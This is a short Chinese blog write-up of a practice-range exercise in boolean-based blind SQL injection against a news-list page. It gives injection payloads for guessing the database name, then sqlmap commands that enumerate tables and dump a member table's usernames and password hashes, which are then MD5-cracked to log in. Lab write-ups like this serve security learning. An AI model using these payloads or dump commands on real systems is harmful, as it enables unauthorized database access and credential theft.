SQL注入漏洞测试(布尔盲注)

SQL注入漏洞测试(布尔盲注)

 

1.打开靶场,寻找注入点。

点击公告/new_list.php?id=1,找到注入点。

 

2.输入id=1’ and 1=1,返回空页面

输入id=1 and 1=1,返回正常页面。

 

3.判断数据库名字的长度,输入id=1 and length(database())=1,返回空白页,证明不是1,一个一个试确定长度为10。

4.判断数据库的名字,输入id=1 and substr(database(),1,1)=‘a’ --+,返回空白页,最后第一个确定为s,一次类推,最后确定数据库名字为stormgroup。

 

5.发现这样一个一个试,太难受了。默默打开了kali,使用sqlmap。

输入:

 sqlmap -u http://219.153.49.228:41878/new_list.php?id=1 --current-db

 

输入:

 sqlmap -u http://219.153.49.228:41878/new_list.php?id=1 -D stormgroup --tables

输入

sqlmap -u http://219.153.49.228:41878/new_list.php?id=1 -D stormgroup -T member --columns

得到列名name,password,status

 

输入

sqlmap -u http://219.153.49.228:41878/new_list.php?id=1 -D stormgroup -T member -C

name,password --dump

获得两个密码。

 

6.两个密码都用md5解密,第二个登录成功,获取key。

第二个合适

登录:

 

 

 

 

猜你喜欢

转载自blog.csdn.net/qq_49091880/article/details/114915575